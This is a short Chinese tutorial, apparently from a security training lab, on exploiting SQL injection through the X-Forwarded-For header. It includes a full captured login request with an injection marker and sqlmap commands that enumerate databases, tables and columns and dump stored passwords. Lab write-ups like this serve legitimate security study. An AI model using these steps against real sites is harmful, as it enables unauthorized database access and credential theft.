墨者 – X-Forwarded-For注入漏洞实战
XFF漏洞简介
X-Forwarded-For:简称XFF头,代表了HTTP的请求端真实的IP。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件[通过修改XXF头可以实现伪造IP])。
XFF,是X-Forwarded-for的缩写,属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容。
实战
首先进入环境

是一个后台管理的登陆页面,挂上bp代理后点击随便输入密码点击登陆查看响应包。

发现响应的内容中存在我们的ip地址,之前提到过XXF的特性,因此我们考虑XXF注入。
为了测试,我们构造一个带有XXF的相应包
将请求包线发送到repeater窗口

添加X-Forwarded-For:0.0.0.0查看回显

确定是XFF.
将请求包复制下来
POST /index.php HTTP/1.1
Host: 124.70.64.48:40967
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://124.70.64.48:40967
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For:*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.70.64.48:40967/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=admin&password=admin
然后使用sqlmap
爆破数据库名
python .\sqlmap.py -r .\xxx.txt --dbs --batch

爆破表名
python .\sqlmap.py -r .\xxx.txt -D webcalendar --tables --batch

爆破列名
python .\sqlmap.py -r .\xxx.txt -D webcalendar -T user --columns --batch

提取数据
python .\sqlmap.py -r .\xxx.txt -D webcalendar -T user -C password --dump --batch




